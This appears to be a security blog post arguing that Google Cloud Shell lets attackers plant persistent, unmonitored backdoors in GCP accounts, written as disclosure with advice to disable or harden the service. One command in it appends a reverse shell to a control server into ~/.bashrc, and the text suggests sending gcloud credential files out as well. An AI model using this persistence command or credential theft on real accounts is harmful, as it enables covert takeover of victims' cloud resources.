Persistent GCP backdoors with Google’s Cloud Shell

Cloud Shell

Google Cloud Shell provides you with command-line access to your cloud resources directly from your browser without any associated cost. This is a very neat feature which means that whoever is browsing Google’s cloud platform website (https://console.cloud.google.com) can immediately jump into performing commands using the gcloud command.

There are two ways of accessing Cloud Shell:

1. Through the authenticated webpage (https://console.cloud.google.com)
2. Through the gcloud command-line tool: gcloud alpha cloud-shell

How working with Cloud Shell looks like

The good

Cloud Shell is a very useful tool to transform the interaction between the command line gcloud utility and the web frontend seamlessly. At any point you can open a Cloud Shell view, where you will have a virtual machine at your disposal to perform any actions that you might need. This virtual machine persists while your Cloud Shell session is active and terminates after an hour of inactivity¹. Even if the session is terminated, your home directory will be maintained as long as you have activity in at least 120 days².

Also since Cloud Shell provides built-in authorization for access to projects and resources hosted on Google Cloud Platform³, that means that there is no need to perform any login operation to access any resource you might need.

According to Google:

With Cloud Shell, the Cloud SDK gcloud command-line tool and other utilities you need are always available, up to date and fully authenticated when you need them.⁴

This Cloud Shell instance is created behind the scenes whenever the user needs to access it, and deleted the same way after a period of activity. Yet this instance is not part of the compute resources of any project from the user or allowed the same kind of configurations.

To recap, we have established that:

1. Any Google user with access to Google Cloud has access to a fully authenticated Cloud Shell instance.
2. Said instance will maintain its home directory for at least 120 days if no activity happens.
3. There is no capabilities for an organisation to monitor the activity of that instance.

The ugly

There are other services in Google Cloud that would allow you to get a backdoor on a project. Creating a cloud function, container or virtual machine would serve similar capabilities, just as a rogue service account with extensive privileges. So you might be asking, why the focus on this one?

The key thing here is that an organisation is completely blind to this kind of abuse. System logs from Cloud Shell are not centralised, network logs can’t be collected (you can’t select in which subnet your Cloud Shell will be created), you can’t list its information or visualise which Cloud Shell virtual machines are running or any of the other normal security controls you would impose in other GCP resources. The fact that you have Cloud Shell available to your users means any of them have access to an unrestricted, unmonitored instance and there is nothing short of disabling the service that you can do about it.

Backdooring a Cloud Shell instance

A big limitation is that the user would need to add the backdoor themselves, which could happen through:

• A social engineering guidance to run a particular script;
• An unlocked laptop with a Google account logged in to a Google project; or
• Malware on an endpoint with access to the Google project.

To add an example backdoor, I will modify the $HOME/.bashrc file so that every time someone logs in to their Cloud Shell it would execute:

echo ‘(nohup /usr/bin/env -i /bin/bash 2>/dev/null — norc — noprofile >& /dev/tcp/’$CCSERVER’/443 0>&1 &)’ >> $HOME/.bashrc

This will ensure that every time a user logs in to their Cloud Shell instance, no matter how many times it might be destroyed, there is a background callback to your server which will give you a fully authenticated shell on that instance even after logout. That means that as times passes on and the user might change their password or expire any kind of session tokens, any permissions the user might gain will be available to the attacker as long as they don’t notice the backdoor in their home profile (and who checks those really?).

The end result is that every time the user logs in, as long as your control server is listening, you will get a new shell to control fully authenticated as the victim.

Instance receiving a callback from a backdoored Cloud Shell and using the Cloud Shell users permissions.

In practice you would probably want to make the backdoor upload the $HOME/.config/gcloud/ and $HOME/.gsutil/credstore2 back to your control server. The key part here is that even if those credentials are revoked, every time the infected user opens their Cloud Shell instance, a new version of those credentials would be available to the adversary.

In short, Cloud Shell is a tool that — in its current form — is best suited for personal use or organisations which are comfortable in delegating the control over the Cloud Shell environment to their individual users. Enterprises with stricter security policies might want to disable Cloud Shell for their organisation (which they can do by filing a support request), until better monitoring and auditing capabilities are available in the tool.

An option to increase its security is to harden the instance through a custom Cloud Shell environment⁵ and centralise its logs through an internet tunnel. However, this will still be under the control of the user, so there is no possibility of any remote checks on the security of the instance or visibility on its network activity. If the image is compromised and the security controls on it modified, there will not be any external controls that can be placed to detect it.

Until the moment when Cloud Shell is just another compute resource running on your project and subject to the same controls as you could provide with the rest of your resources, the risk it imposes on an organisation might outweigh its rewards.

[1] https://cloud.google.com/shell/docs/features#virtual_machine_instance
[2] https://cloud.google.com/shell/docs/limitations
[3] https://cloud.google.com/shell/docs/features#authorization
[4] https://cloud.google.com/shell/docs/features
[5] https://cloud.google.com/shell/docs/features#custom_cloud_shell_environment